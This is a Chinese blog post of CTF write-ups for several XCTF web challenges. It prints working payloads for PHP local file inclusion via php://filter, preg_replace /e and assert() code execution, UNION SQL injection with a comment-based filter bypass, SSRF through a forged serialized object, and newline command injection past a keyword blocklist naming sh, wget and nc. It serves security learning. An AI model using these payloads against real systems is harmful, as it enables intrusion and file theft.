XCTF Web 记录(第四天、第五天)

这篇博客记录了XCTF Web挑战赛中的安全问题解决过程,包括ics-05的preg_replace函数漏洞利用,mfw的源码泄露与GitHack下载,fakebook的SQL注入,以及Cat和favorite_number的代码审计题目。通过源码分析、payload构造和漏洞利用,展示了Web安全中的常见攻击手段。
摘要由CSDN通过智能技术生成

ics-05

题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

所以打开后直接点击设备维护中心,查看网页源码:
在这里插入图片描述
发现一可疑之处。

尝试使用伪协议读取index.php的源码:

?page=php://filter/read=convert.base64-encode/resource=index.php

在这里插入图片描述
得到base64加密的源码,解码得到(关键部分):

<?php

$page = $_GET[page];

if (isset($page)) {



if (ctype_alnum($page)) {
?>



<?php

}else{

?>

                <?php

                if (strpos($page, 'input') > 0) {
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
                    die();
                }

                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
   

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}





?>

注意到这里要伪造X_FORWARDED_FOR头,抓包,添加头:
在这里插入图片描述

然后利用preg_replace()函数的漏洞,使用/e时,preg_replace() 将 replacement 参数当作 PHP 代码。

尝试构造payload:

?pat=/123/e&rep=system('ls')&sub=1234在这里插入图片描述

?pat=/123/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=1234
// %26表示&

在这里插入图片描述

?pat=/123/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=1234

在这里插入图片描述

?pat=/123/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=1234

在这里插入图片描述

mfw

打开页面,有一个about页面:
在这里插入图片描述
可能存在源码泄露。

使用 GitHack 下载其源码:
在这里插入图片描述
有个flag.php,打开并没有什么有用信息。

打开index.php,得到:

<?php

if (isset($_GET['page'])) {
        $page = $_GET['page'];
} else {
        $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

找到了这道题的利用点。

strpos() 函数查找字符串在另一字符串中第一次出现的位置。
$file是拼接得到的。
assert() 检查一个断言是否为 FALSE。
assert()会将括号中的字符当成代码来执行,并返回true或false。

这里没有任何过滤,构造payload:

'.system("cat ./templates/flag.php").'
1') or system('cat templates/flag.php');//

fakebook

查看源码:
在这里插入图片描述
输入a,报错,存在sql注入:
在这里插入图片描述
常规操作,判断出有4列。

使用联合注入,发现存在过滤:

?no=-1 union select 1,2,3,4#

那只能是union select中存在问题,尝试绕过,发现可以使用:

?no=-1 union/**/select 1,2,3,4#

然后正常操作,不记录了。

最后得到结果:
在这里插入图片描述
被序列化处理过的东西,发现其中的内容其实就是我们注册的内容(我这里注册的时候乱写的)。

想想查看robots.txt,果然得到了一些东西:
在这里插入图片描述
源码泄露。。。。

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

好好分析一下代码,想想利用方式。

好像都是对blog进行了处理。

注册的信息都被序列化进行存储。

我们还知道了绝对路径:/var/www/html/。

flag.php在这个路径下面。

我们可以利用sql函数直接读取:

?no=100 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 #

这里的考点其实是SSRF,具体的我也不是很了解,构造:

?no=-1 union/**/select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:1;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’

enen这道题先到这吧,后面在详细了解一下。

Cat

懵的一 !

Cat

favorite_number

一道代码审计题目

 <?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
} 

有几个需要绕过的地方,逐一分析一下:

if($stuff === $array && $stuff[0] != 'admin')

$stuff强等于数组$array,第一个元素不等于admin。

这里提示了 php 5.5.9 ,查了查绕过方式:

大致意思就是:

在数组中,a[0]===a[0x1000000000] // bool(true)

所以构造payload:

stuff[4294967296]=admin&stuff[1]=user&num=111 

得到:
在这里插入图片描述
第一个绕过成功。

接下来绕过正则:

if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num))

要求是数字,不能有一些字符。

这里没有进行换行匹配,所以我们可以使用%0a进行换行,绕过第一条正则:

stuff[4294967296]=admin&stuff[1]=user&num=111%0a ls /

这里hackbar好像用不了。

在这里插入图片描述
这里学到了新姿势,使用索引的方式:

stuff[4294967296]=admin&stuff[1]=user&num=111%0a ls -i /

在这里插入图片描述
反引号进行执行读取内容:

stuff[4294967296]=admin&stuff[1]=user&num=111%0a more `find / -inum 31458297`

总结一下这道题:

考查key溢出问题
又学到了读取文件的新姿势

后记:

今天只记录了一道题,因为后面的题对于我自己来说开始变得困难,所以后面每天记录一道题,理解每一道题,把之前记录的题好好理解,复习一下。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值